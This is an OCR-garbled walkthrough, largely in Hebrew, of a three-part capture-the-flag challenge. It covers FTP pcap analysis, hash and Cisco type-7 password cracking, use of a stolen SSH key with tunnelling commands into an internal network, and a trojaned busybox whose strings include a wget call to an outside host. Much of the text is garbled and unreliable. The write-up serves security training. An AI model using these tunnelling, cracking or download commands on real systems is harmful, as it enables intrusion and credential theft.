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Challenge #1

Welcome back Agent Cl

Your help is needed once again to solve an urgent matter.

Our digital forensics division is trying to track the source of a phishing attack on one of
our government officials.

We have found an email which seems to be related to this attempt and poinis to a news
blog.

We require your skills to track the source of this sophisticated attack.

The following leads to the news blog.

Good luckl,
M|

1 73NN

207 NNWOR W'Y NIXTYT N 1IWKY 02N .Drk News Dwa NIWTN 21727 INIK 72m 7270
NIYXNN] N2 MNRNY NIRTTZ [N NoN7 n'72'221 .0'wnnwn? 1annn?i oY% N1 w'l,0'0oI19Y
.LightWeb 3.0 "viTn" framework-n

®

guest
Loain / Register

Welcome to DRK™ news, The best news blog EVER!

On the news

It looks like the damage caused by last
week's severe storm continues to
cause problems. The main roads are
still blocked and the local sanitation
department is still working to clean the
pipes. This is the main road just
moments ago, 5 days after the storm!

WOW! this is amazing!!

I knew it would happen!. | warned them at the sanitation!!

Tech
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Welcome to DRK™ news, The best news blog @
EVER! it
Login / Register

Main Page

Fashion

Please enter your login information below:

User name

Password

SUBMIT!

Not registered yet? Click here to Register
Powered by LightWeb™ 3.0
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function g
const ftprofile url®)[0].value;
if (uz j
ON ('testProfilePng', { u: btoa(url) }, showProfilePng);
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Challenge #2

Well done Agent!

Thanks to your efforts, our team has managed to locate and detain one of the hackers
responsible.

She was not cooperative, but we were able to extract a snippet of an application from
her phone. We suspect it is used for gathering intelligence from their victims.

Your next mission is to locate the files the team stole following their successful
phishing attack.

We executed the parts we extracted in a sandbox and managed to capture its initial
communication with a c&c server. The following contains the captured data.

Needless to say, the information that was stolen is very valuable to us, so please do
your best to retrieve it before it leaks. ..

Good luckl,
M.

2 ADR

,TCP 2101 |70 .n1Mw 10-1 ¥ Nt NdIZNA 191010 CWR NIVRD 74 7'onn ,pcap yal N7y
nNyp nin'w 4 7on yaizn .35.204.90.89 nainb? ,192.168.43.188 n'non IP-n namdn
Raw -n 7y 70n01 0 .2121 01192 7'nna .2121 01192 ndINX NNX AN'wi L5555 01192 niniv
IFTP ,20m 2171019 nnmn ,nN'wa 1avw data

(I Jtep.port == 2121

Mo. Time Source Destination Protocol Le
19 4.398574 192.168.43.188 35.284.98.89 SR
21 4. M Wireshark - Follow TCP Stream (tcp.stream eq 2) - pcap — O x .
22 5.
23 5. 228 pyftpdlib 1.5.3 ready. &
24 5. USER user
25 5, 331 Username ok, send password.
26 5. PASS 12345
238 Login successful.
27 5.2 | sysT
28 5.3 |215 UNIX Type: L8
29 5. FEAT
3@ 5. 211-Features supported:
31 5. EPRT
32 5. EPSV
33 5. -2
MFMT
e MLST type*;perm*;size*;modify*;unique*;unix.mode;unix.uid;unix.gid;
g REST STREAM
36 5. SIZE
37 5. TVFS
38 5. UTF&
39 5.7] |211 End FEAT.
49 5. OPTS MLST type;perm;size;modify;uniquesunix.mode;
a1 5. 288 MLST OPTS type;perm;size;modifyjuniquejunix.mode;
OPTS UTF3 ON
SEE 581 Invalid argument.
43 6. PWD w
A4 6.0 3 cfone pirs, 15 server plrs, 25 tums.
:Z :: |Er'|h're conversation {688 bytes) v| Show and save data as Stream
47 6.2 Fin; | | [ Find mext |
48 6.
49 6. Fiter out This stream| | print | | saveas.. || Back || cese || Hep |
58 6.




Decode as NNWOKXN NIY¥NXA ,FTP N9 2121 01192 Niv97 on'nin? Wireshark-7 212

Protocol
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP
FTP

94
77
99
78
89
72
82
72
9l
199
8l
117
121
a8
89
71
lel
74
9l
72
117
72
128
98
72
ae

Lengt Info
Response:

Request:

Response:

Request:

Response:

Request:

Response:

Request:

Response:
Response:
Response:

Request:

Response:

Request:

Response:

Request:

Response:

Request:

Response:

Request:

Response:

Request:

Response:
Response:

Request:

Response:

228 pyftpdlib 1.5.3 ready.
USER user

331 Username ok, send password.
PASS 12345

23@ Login successful.

5YST
215 UNIX Type: L8

FEAT
211-Features supported:
EPRT

211 End FEAT.

OPTS MLST type;perm;size;modify;unique;unix.mode;
288 MLST OPTS type;perm;size;modifyjuniquejunix.mode;

OPTS UTF8 ON
581 Invalid argument.
PWD
257 "/" is the current directory.
TYPE A
288 Type set to: ASCII.
PASY

227 Entering passive mode (35,204,98,89,254,167).

MLSD

125 Data connection already open. Transfer starting.

226 Transfer complete.
QUIT
221 Goodbye.

.Analyze U"95NN NNN NKYNIY

NIYY NaNNN IRPI7N wnnunnw 17 n'ea
NN NNO'ONI user YNNYNWN DY DY
72NNNYT NNIX N01IW) 12345 NNVAINN
01192 NIN'WA 7V 72N01 .N'¥) X7 ,Nwh
0191 NIN'YN VI 207 nipna 5555
190N N71IY MW NINT T 1790

N21ANAI ,NN90 32 NINA "7 TOPRN
128 XA "y ToRENN 19010 N7IY NIR7N
IP-N NAIMDY NIy NWN DN INXR7 .NIND0
" Temporarily Authorized" X'n nip'7n 7w
X '2N7 70X FTP-7 7annn? * 1, ni»
NTN NINTTAN (120

[IWNIN J2TN ,NIDNX HEX NIAIMD 0'RNWD
NINDY7 IN UKD NT ,UKY7 DO7 N7 1xw
UND 7 N7IVY NN Nt

[TUXAN A2"00N 'O m'2a ,0'UKRNYT Rainbow tables 'mN'w 1790NY VINVI'X ANXA DNIX 'NITNYWD
271V 190NN KIN YNl ;090N KIN [IYXRIN 21000 TWNRD .SHA512 7w mwnl MD5 7w UNN KIN

A7
Hash Type Result
4bad54feaa9a3fbbdTaacl3bT40£c041 md5 33794
9232d6bceeBaga3Thba25ef8T79c05c3b2ded8cbf089ad0742T73a9790£23cbiE33 —— EeE
af492ad8a79b5621321a9472d96£48201efe8894711322f0bce3c519d980d9e5 S5E

,|3'7 .0D"YNX DMS50n Oy 1 ,INXy v TN ']"7:'1]'1:'1 DN, NINNKRD NIN'YN NYWI7YW DX DA N7
MY DY NRTA NINTIAN DX YXA'Y T2 'MAND

200

1)
“'utf-8") + b




"7V DIONINAY D'¥APN 7D DX 'MTINI L FTP Ny 'mhannn ,pn XY

Filename Filesize Filetype Last moedified Permissions  Owner/Group
var File folder 2/18/2013 50737 PM el (0753) 1003 1004
users File folder 2/18/2018 5:07:37 PM el (0755) 1003 1004
tmp File folder 2/18/2013 50737 PM el (0753) 1003 1004
temp File folder 2/18/2018 5:07:37 PM el (0735) 1003 1004
sy's File folder 2/18/2013 50737 PM el (0753) 1003 1004
docs File folder 2/18/2018 5:07:37 PM el (0735) 1003 1004
data File folder 2/18/2018 5:07:37 PM el (0755) 1003 1004
bin File folder 2/18/2018 307:37 PM el (0733) 1003 1004
backup File folder 2/18/2018 5:07:37 PM el (0755) 1003 1004

N pn1 . cisco.conf.enc-1 floppyfw.conf.enc w2 n'¥27 7w 0"12'a backup n*pna 7'on Nwn
YUNNYNN 7 n"pnnn Yin,Tomn 7¢ NIN'TAl NN2YY MW JANX? 0'01191 'V I'N users
NT DY .id_rsa DW2 '019 NNoni " s3cr3t" pInn NX 77D hint owa yaie n'7'on X' .backup

SSH-7 "\annn? no1 .s3cr3t NN IMNO'0 ,TNI'MA Y'M9N K7 |9IXA .SSH-7 wnwn XINW ™Tn
:backup wnnwn%? nth N19¥NN NN9SN NIY¥XNX

yoav@ubuntu:~/Downloads$ ssh -i id rsa backup@35.204.90.89
The authenticity of host '35.204.90.89 (35.204.90.89)' can't be established.
ECDSA key fingerprint is SHA256:fF/WRfTztd8cFCcq5eRd7jdK2YIkzAGaaZR1vdLdpuo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '35.204.90.89' (ECDSA) to the list of known hosts.
Welcome to Backup Server!
All your actions are
being recorded!
FELELELRE

Enter passphrase for key 'id rsa':
/bin/false: No such file or directory
Connection to 35.204.90.89 closed.
yoav@ubuntu:~/Downloads$




(TN o K7 AR 07 wnn X7Y) /bin/false niyxnxa shell-7 "annn7n nnix mon 87 1n
21710109 7w NoNA 'NIT ISFTP ?remote shell 11ay X7 DX SSH-7 D'XNNY 'anI® NN9N W' NN TX
'¥17 NIN ['OXN NND1DY YAl RINY ,conf_enc.pyc yalizn NX 72731 1anna .SSH 2yn nxw FTP

DTN N'RIY DN'XIADIRN

conf_enc.pyc . ompiled ... /44 745 -[--r--r--
F f By 1,802 Compiled 472018 74552 PM o0
.5sh File folder 32018 1280622 PM drwr-xr-x o0

[10"'9 Y2177 INIX AMN7 *T> uncompyle6-2 wnnwa |27 ,79n1pn (109 YAl niI? ,PYC yalp InT
70

:1)]

NNonn 0oy CBC 7w TiN2 AES NIYXNXRA N'XIIA'9IIPN Y27 NIX ['OXN AT TN
DNIN NYONY TI7 2IMd1 D7 ."d3adb33f13371337"




7¥ NNo'oNl wnnwnn 0w7 17 0'wi yalpn N7'NN oy .1j70'0 7W N0IRY 7W DXIA011 Yaip 72
.N19¥IN Nno'on 071X ,fwadmin XIn wnnwnn oY .Q0VIXKN

Current configuration : 4716 bytes

service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption

hostname Firewall

able secret 7 107D1CE9568521580F16693F14882026351C1512

e fwadmin password 7 187D1C09560521588F16693F148820826351C1512

,7701 NNLAIXNA X7 X' L1700 7 7 210N WUXRND NIONIXAY NNO'0 D 7 n2ann ,axp 71a'a W1NKY7
NXYIN2 NNO'ON NAMD INK7 .NNIPNN NNo'oN 7w 7'y T 7w yin'? n'n [N 1997-a Tyl
.Sup3rS3critP@ssword X'N NNO'0N D 72771 ,72112 NIWXIN

Type 7 Password: |1III?D1CEI95I5EIS215EHIIF16I593F14EIE=2EI2I5351C1512

Crack Password

Plain text: |Sup3r53cr#tF‘@sswnrd

N'MN"19N0 NYI NNIRYNN 770 DK 7271 ,9107 71727 'wn) DX

interface Vlan2
1ame Outside-networ
dress 10.164.0.3 255.255.2
ip route-cache
. i 2 in

interface vlan3
1ame Internal-Storage-Server
) dress 10.128.0.254 255.255.255.0
ip route-cache
ACCE 1 out

access-list 1 permit tcp
access-list 1 permit t
access-list 1 deny tcp 2

access-list 2
access-list 2

permit tcp host 16.164.08.3 eq 22
deny tcp a




:D'PIN 2 W' nw1Y

22 01191 10.164.0.3 N'1190 IP-0 NANDY7 , TR 7210 NN NwAn N7 niavn 1
-1 3389 p'v19a 10.128.0.3 nmn9n IP-0d N2AIMDY ,TAXK 700 NN Nwan JIMaayn .2
.(u1021'R AKX MY N7 — 80 VST 17N V19D wnwnw) 8080

.NYN MY N9 SSH Tunneling y¥a% 15 17w SSH-N NXWIN2 wnnwa

X ,0TIR 11D backup wnnwnn NIy¥NXa MW7 N7 awnninn SSH 11a'N NN9) [IWXRIN 2A7w2
SSH-2 wnnwin'? I7> ,11"M1ayY DY NTIR9 NIV NINS7 K7W IKY —N 7272 qona wnnea
:N'NN NTIR9N .Tunneling 7'awa

ssh -N -L 9999:10.164.0.3:22 backup®35.204.90.89 -i id_rsa

N'7X TV NAIND DN INKYTIL DY T¥NN YIAN NIAYNN 101 Miznn 0119nn 207m -L 72am
.0DN7Y N'M1I9N NYAN MY NIV NI7YWY NW2 117 W' NYD .0N7YW T¥NN 12VIN NIAYNN

NIYXNXA ,0N7¥X NIN9N HTTP-N MW7 N1Iayn N7wal,NNNSY 01191 WNNY wn 17va
NTIZON

ssh -N -L 9000:10.128.0.3:8080 fwadmin®127.0.0.1 -p 9999
:8080 vMIPA TVIMN MW7 NYWPaN DX 11Avn? Wk XinL,9000 01197 78X wan ,nyd

IHooray ,2 27w Nx 1110 > 72j722 ,qnonin 7y ynawd

<« ® 127.0.0.1:9000 &« C | ® 127.0.0.1:9000/stolen_files/
Index of / Index of /stolen_files
Name Last modified Size Description

Name Last modified Size Description

: Parent Directory

E} stolen files/ 2018-02-19 07:25 - @ mossad 2018 challenge solution doc 2018-02-19 09:03 662
Apache/2.4.18 (Ubuntu) Server at 127.0.0.1 Port 9000 Apache/2.4.18 (Ubuntu) Server at 127.0.0.1 Port 8000

Did>'o

,SFTP-nnI FTP-Nn D0'¥2j7n DX DTN ,0N7¢ "alonn" NINTIAN 2171009 X 1N1y9 e
1'M15N NWN7 nwa 727 nn 72y SSH Tunneling-2 nunnwni

ANWYN 7Y IR '9721097 'WIR 7V 002N'Y KT ,NINTTN 721I710MN9 D'Anpwd @1 njpon e
ANIXR NXO71 INIX '2ANT 1721' K7W NMIR K7 ,URM YIT X7 21710N90W nTavn .qnivn

N'M1I90 W7 010'07 D11 K7 1TI'nw N'oan X7 /bin/false-7 ATI'n NX NNONY (2 najpon e
.SSH vw' DX

Better .NINTTNA IX NNO'0Q DA NI'N7 D'DMIX DANYN ,N'MNI9N NYN1 DA (3 Nzon e
.0"NIXRY IND safe than sorry



Challenge #3

Very good Agentl

Following your success in finding the hacking teams’ internal storage system, our
intelligence officers have discovered what we believe to be a new and sophisticated
rootkit framework they have been developing.

We also managed to get a copy of a prototype utility that helps reveal their rootkit on
infected systems. You can get if from the following

We require your skills in invesgating it and reporting how the rootkit operates.

Thanks again for your effort, and Good Luckl,
M.

3 730K

.ELF yaip XIni ,busybox X271 ZIP-n N2 T'W Yaln

TTI2 Y217 .T'N' QXN YA DX UNIX DiTipol 020 nzosonn n1din XN BUSYBOX
X191 UNIX nimizo 300 7710

INTD NONANY NYTINN 0179 ,busybox 7w '01TIVON V79N NX 727711 ,07712'72 YaIPN DX YN
Jtmp N'PNA TAY WYL, DN NIR'YYAY Nooian

yoav@ubuntu: S ./busybox

BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox is copyrighted by many authors between 1998-20815.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
or: busybox --list[-full]
or: busybox --install [-s] [DIR]
or: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.

**** This version of BusyBox is an 'augmented-reality' version ;).. left
you a hint at ftmp ... #***=*

Currently defined functions:
adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, false,
hostname, ifconfig, ifdown, ifup, kill, killall, 1s, lsof, md5sum, nc,
netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty,
uname, wget, whoami




DXV '"7IR ,NNITNA NIXR'YA V2T 72X .TNIM YAl DIY OW NRT] K7 ,10XY1 1T RYPN2a 70101 DX
oy712'7 NITIZO 9'"7NN7 NIMK NDTOYW ,busybox T 71 D7 X7X ,0M"? NNKA X7 N7RN DY
XA 7271 7ax ,busybox 1s /tmp nTizon niv¥xnxa busybox 10T Is YN N0 .NIXIO]
;TN

yoav@ubuntu:~/Downloads$S ./busybox 1s /tmp

1ls: fuos: No such file or directory

*I7W OPTI'RN® AW IN7 N2VIN N 70V ,0IWD NTTN |91¥] 12ITNA D 21 ,0'07)7 7W N T2 WNKY
[DIX ,VIX'72 ,NIMIXD NN'WA N7'NNYT NITN TN NIFZ2IRND NIMIRD NI712a1 200N NN DX .IMNR
.README yal? ,07TI7 "7 N'N X7W yalp n"PN2a 0" 2 02211 ,nTIRON NX Y1 .00V DY NTTN

LNNIT ATIVN DMWY NIANINN D 07211 ,cat NIYXAXA INIX X7

yoav@ubuntu:~/DownloadsS ./busybox 1s /skm -1a

total 8

drwxr-xr-x 2 root root 4096 Apr 22 09:42 .
drwxr-xr-x 24 root root 4096 Apr 22 09:42
“F==C==r-- ® root root 1337 Dec 31 1969 .readme
yoav@ubuntu:~/Downloads$ . fbusybox cat /skm/.lxsuct

Suspicious network activity detected...

NTIYN N'MYA NIANINN NNT DXI  netstat NTIP9d Unnwl

yoav@ubuntu:~/Downloads$ ./busybox netstat

Active Internet connections (w/o servers)

Proto Recv-0) Send-Q Local Address Foreign Address State

tcp i} 64 9.0.0.0:31337 11.32.205.35.bc.googleusercontent.co
m:http ESTABLISHED

NT'R DR VIYD K7W N7 72K ,NT 1Y 72T W'y N1N7 120 70NIR X' 1'70N AR YT 'R 73R
?ps NTIP9 NIYXNXA Y712 0¥ 070N

yoav@ubuntu:~/Downloads$ . /busybox ps
PID USER TIME COMMAND
1337 root 13:37 /tmp/Tr0j (deleted) -u admin --default-pass

17w N1'0719 TN NNo'onl admin wnnwnin ow oy yaw ,Tr0j WA 1'70N W' NTYN DD L'PIR
:Tr0j on'n NX y7n11,/proc/PID/exe NNN MINMW NX¥IN YAl 72 OR11*72W NTAIYN NX 7¥81)

./busybox cat /oply/1337/tlr > TrOj.elf

NX 72721 ,NITNNN 110 Y7n7 Y1 strings nTipon nX 17y vy KB 8.8 71iaa ELF yalp n7aye
Uw1lLN3v3rG3tM3 JIRAN NIMynD DITNNAN

35.205.32.11
wget -0 ftmp/.store 'http://%s/iso?user=%s&pass=%

user

pass
default-pass




NXI1D NNo'onl ,admin XIN YNNwnNn oW ' |21 ,Nd TV MUnY YT 75 NIX 12N DX
NINY DY NYRA N7 NIwy? 0'xnN nnIxY namdn P71, UwW1ILN3v3rG3tM3

http://35.205.32.11/iso?user=admin&pass=Uw1ILN3v3rG3tM3

Size Packed Size Modified Y277 nTin 7apn,ntfR wan
= 111 895 111895 2018-02-171846  [N190NW NiinN 7n yapn .ISO
D ?_JPG 54 609 54608 2018-02-171246  ,(Monw 3 nimnn yin) 7-7 1 112
) 4.PNG 111 865 111865 2018-02-17 19:49 pwa yaipl VAULT nwa yaip
@ 5JPG 26036 26036 2018-02-17 19:44 NnIMmYxN NX 95Nnv ’Thumbs_db
& 6JPG 17831 17831 2018-02-17 19:44 A9U5AN NN NAMNY
K 7. -02- : .
W 7JPG 75432 25432 2018-02-17 19:48 AT Y75 11T ot Windows
# THUMBS.DB 113 664 113664 201802171854 o oy
[ vauLT 24576 24576 2018-02-18 16:25 ’ ' N7 YAl

INIX §'0IN "IX ,01TA"1 72V TaIy "IX

NTIAY7? 901N .ANKY? IMIN 17V DY NN TX ,git-7 Niyva 7 Ny K7W 1D .gitignore-7 oIt 912
NTNN1 NN "MYNNYN L[27 .NIIMN 7¢ nimex 7:n% My Nt yaipi ,3 a1on yaip 1ony

I3 NN DX 1IRX¥N DTN YaIpn 7¢ pIMD DX DKM Y7 nwoarnn , Thumbs Viewer nxajpw

: @ Thumbs Viewer D 256_4934f39705858f86 - ... @ — a X

F File Edit Tools Help

| # Filename Entry Size Sector Index

: 1 256_a0fd34edb315ebch 18KB 4in SAT
256_663ad5764a8a684a 15KB 41 in SAT

-I
256_dff08a2c5d91dd20 25 KB 99 in SAT

| 5 256_3ad4c73040f7e953 13KB 151 in SAT

| 6 256_5e9e7045d262e675 10KB 179 in SAT

; 7 256_afa9e05a2c97ee59 10KB 200 in SAT

i

|

<

NNONA Y'9I' N'W'7¢N NIINNA Y'9INY 2100 ,0NINIRY N1, *israel70* vopvN V'O NN
Magic -0 Nj'T2 INKRY .1N7W ND0DN YAIP7 11AY1 .AT DX NOTN .ARINY [IWRIN N19¥NN
INIX NN91 ,]27 .Sqlite3 a1on DB yaiza "arm ,yaizn v numbers

id name data enc_type key
1 0 aess Usmjva3ngs/rHvye0sAshwogK4nFp0 +JIMrady GfyrkfCFxUkZ FuilR +HK4EXR 40Ex IXIAVEER pkh AtmXak3wHOLUGE. .. Blowfish-CBC External
2 1 index.html <html= <sript type="textfjavascript” src="aes.js'> < /script= MNone MNone
3 2 key.js MEGKat8793104scl pO41 ge M WBEWX{Wnx\WscMu9R39z A= Blowfish-CBC External
4 3 script.js n045ciFpOgy 71+ 30NTvwof TIAIao /ABacZs8W zfISubeV zojaCMxI0SQpKOIKLTIMySgGxg +P 2xPILaSzILKy HEBCvi... Blowfish-CBC External

iv_size

[o= v = e T =]



NYITY |9 DN7Y [DINN NIXIELDNYAR 7 NNy 071Ny ,T2%1 NNK 720 DY 021N 1ARN 727
YUNNW1 .N19¥NN NN9N XIN NN D'WTIF n1NIXRY 2md .Blowfish-CBC niyxnxa n1oxin oxapn
JS wap 3 72 ,moxnn nx naoY? 1o /http://sladex.org/blowfish.js "nxa

;MWD NX 70 ,Key.js yalpn e

.3.1.2 noxa 7an 7w CryptodS nnson nNX 7onw ,Aes.js yalpn e
XIN NIPNAN TN 72050 [177'N NKYT 7220 "y TR 7onw | Script.js yalpn e

00

function 1o p ck) {
var xht e t @)
http. jy s nction() {
i€ Cthis . &6 this. t = ) {
eval(this. ');
if (typeof( ) == 'undefined') {

function run() {
if (typeof(key
if (type

,Sid Dwa NINwn 7w NN 70 KN, Sid KN IWRIN .DNYAR YW ANRAN TN AT TIR
NXNIW Key-n NIy¥nKa [9xin Tig 7on XNt ,payload xXin awn yalpn 10w nnm oy
wnn XY TIR 7271 ,712050 DX TREL,NN9NN DY Yalpn DR N1Y9Iwd JKey.js yalpa

-n n2oYmv JS 7w now nn it IJSFUCK 1Int .17 o'nin 6-n 201 mi ,7x91'17 nniT
TNNQ WNNWI 71,1700 TIpn DR NI Ny .0 IS Tz 75 yn'? naworni ntin 6
D'TAIY X7 1770 DNKRN ,NN DIYN MIRN TIRN IR ITNY? DNYONNY UIN0VYI'RN NKN

NN TIPN DX 72122 ,0N02 MIThWN NIX YN DX 72X ,071911'9]


http://sladex.org/blowfish.js/

@
var current = []:

function dispatch(r, t) {
return r(t)

}
function scrmbl_sid(r) {
var t = "";
for (i =9; i < S A ¢ a (i));

return dispatch(current[4], t)

rent[1] = eval, current[2] = window. , current[3] =
. = function(r) {
)
disabled!. try something else")
t = function(r) {
= eld1sa hl o +vyv caomathin :‘J o sa ~ )

NX 17 7' p7 ,Base64 1nd> nX1IW 2100 KIN VPNY PTIA KINY 21100 Upan XINW 17 D'l
© Manxn nx ovo1l !H4pPyB1r7hd4y7015ra3l nx Wni'?> ,decode mnx 121000

Success!

Well Donel

You have successfully finished all the challengesl

This is your final success token:

please send your token and contact info to the following

A pleasure as always! Until next time__.
M.

CTINND 17'9X Y'MiIn .07 DX D'ONDNY 197 INY'MN AT NN D'7UN7 (NITIN
.027 NTIN .JNN9N 170NN2 D'MINO0 021 'YL DY 7 NTYY D717 D'WIN NNd W' Yad TX

SSH Tunneling 7w yuzn nX '2an% oy *7 7tyw ,Ron Azogui NX ,0'701T1N NINSN D'WIRNNI
.Cookie saved 7w niynwnn N '2n7 *7 "tyw euanthe NI ,NIYNTA NITIR9N DYI



